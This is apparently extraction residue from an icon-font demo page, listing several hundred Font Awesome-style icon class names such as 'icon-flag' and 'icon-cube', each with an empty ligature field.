+ + + + icon-flag +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-headphones +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-volume-off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-volume-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-volume-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-qrcode +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-barcode +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tag +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tags +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-book +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bookmark +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-print +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-camera +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-font +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bold +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-italic +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-text-height +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-text-width +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-align-left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-align-center +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-align-right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-align-justify +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-list +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-dedent +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-outdent +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-indent +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-video-camera +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-image +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-photo +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-picture-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pencil +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-map-marker +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-adjust +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tint +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-edit +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pencil-square-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-share-square-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-check-square-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrows +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-step-backward +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fast-backward +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-backward +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-play +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pause +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-stop +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-forward +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fast-forward +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-step-forward +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-eject +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-chevron-left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-chevron-right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-plus-circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-minus-circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-times-circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-check-circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-question-circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-info-circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-crosshairs +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-times-circle-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-check-circle-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-ban +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow-left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow-right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mail-forward +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-share +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-expand +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-compress +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-exclamation-circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-gift +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-leaf +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fire +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-eye +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-eye-slash +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-exclamation-triangle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-warning +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-plane +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-calendar +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-random +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-comment +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-magnet +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-chevron-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-chevron-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-retweet +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-shopping-cart +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-folder +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-folder-open +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrows-v +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrows-h +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bar-chart +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bar-chart-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-twitter-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-facebook-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-camera-retro +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-key +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cogs +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-gears +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-comments +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thumbs-o-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thumbs-o-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-star-half +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-heart-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sign-out +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-linkedin-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thumb-tack +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-external-link +
+
+ + +
+
+ liga: + +
+
+
+
+ + icon-sign-in +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-trophy +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-github-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-upload +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-lemon-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phone +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-square-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bookmark-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phone-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-twitter +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-facebook +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-facebook-f +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-github +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-unlock +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-credit-card +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-feed +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rss +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hdd-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bullhorn +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bell-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-certificate +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hand-o-right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hand-o-left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hand-o-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hand-o-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow-circle-left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow-circle-right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow-circle-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow-circle-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-globe +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wrench +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tasks +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-briefcase +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrows-alt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-group +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-users +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-chain +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-link +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cloud +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-flask +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cut +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-scissors +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-copy +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-files-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-paperclip +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-floppy-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-save +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bars +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-navicon +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-reorder +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-list-ul +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-list-ol +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-strikethrough +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-underline +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-table +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-magic +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-truck +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pinterest +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pinterest-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-google-plus-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-google-plus +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-money +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-caret-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-caret-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-caret-left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-caret-right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-columns +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sort +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-unsorted +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sort-desc +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sort-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sort-asc +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sort-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-envelope +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-linkedin +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rotate-left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-undo +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-gavel +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-legal +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-dashboard +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tachometer +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-comment-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-comments-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bolt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-flash +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sitemap +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-umbrella +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-clipboard +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-paste +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-lightbulb-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-exchange +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cloud-download +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cloud-upload +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-user-md +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-stethoscope +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-suitcase +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bell +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-coffee +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cutlery +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-text-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-building-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hospital-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-ambulance +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-medkit +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fighter-jet +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-beer +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-h-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-plus-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-angle-double-left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-angle-double-right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-angle-double-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-angle-double-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-angle-left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-angle-right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-angle-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-angle-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-desktop +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-laptop +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tablet +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mobile +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mobile-phone +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-circle-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-quote-left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-quote-right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-spinner +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mail-reply +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-reply +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-github-alt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-folder-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-folder-open-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-smile-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-frown-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-meh-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-gamepad +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-keyboard-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-flag-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-flag-checkered +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-terminal +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-code +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mail-reply-all +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-reply-all +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-star-half-empty +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-star-half-full +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-star-half-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-location-arrow +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-crop +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-code-fork +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-chain-broken +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-unlink +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-info +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-exclamation +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-superscript +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-subscript +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-eraser +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-puzzle-piece +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-microphone +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-microphone-slash +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-shield +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-calendar-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fire-extinguisher +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rocket +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-maxcdn +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-chevron-circle-left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-chevron-circle-right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-chevron-circle-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-chevron-circle-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-html5 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-css3 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-anchor +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-unlock-alt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bullseye +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-ellipsis-h +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-ellipsis-v +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rss-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-play-circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-ticket +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-minus-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-minus-square-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-level-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-level-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-check-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pencil-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-external-link-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-share-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-compass +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-caret-square-o-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-toggle-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-caret-square-o-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-toggle-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-caret-square-o-right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-toggle-right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-eur +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-euro +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-gbp +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-dollar +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-usd +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-inr +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rupee +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cny +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-jpy +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rmb +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-yen +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rouble +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rub +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-ruble +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-krw +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-won +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bitcoin +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-btc +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-text +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sort-alpha-asc +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sort-alpha-desc +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sort-amount-asc +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sort-amount-desc +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sort-numeric-asc +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sort-numeric-desc +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thumbs-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thumbs-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-youtube-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-youtube +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-xing +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-xing-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-youtube-play +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-dropbox +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-stack-overflow +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-instagram +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-flickr +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-adn +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bitbucket +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bitbucket-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tumblr +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tumblr-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-long-arrow-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-long-arrow-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-long-arrow-left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-long-arrow-right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-apple +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-windows +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-android +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-linux +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-dribbble +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-skype +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-foursquare +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-trello +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-female +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-male +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-gittip +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-gratipay +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sun-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-moon-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-archive +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bug +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-vk +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-weibo +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-renren +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pagelines +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-stack-exchange +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow-circle-o-right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow-circle-o-left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-caret-square-o-left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-toggle-left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-dot-circle-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wheelchair +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-vimeo-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-try +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-turkish-lira +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-plus-square-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-space-shuttle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-slack +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-envelope-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wordpress +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-openid +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bank +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-institution +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-university +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-graduation-cap +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mortar-board +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-yahoo +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-google +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-reddit +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-reddit-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-stumbleupon-circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-stumbleupon +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-delicious +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-digg +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pied-piper-pp +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pied-piper-alt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-drupal +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-joomla +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-language +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fax +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-building +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-child +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-paw +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-spoon +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cube +
+
+ + +
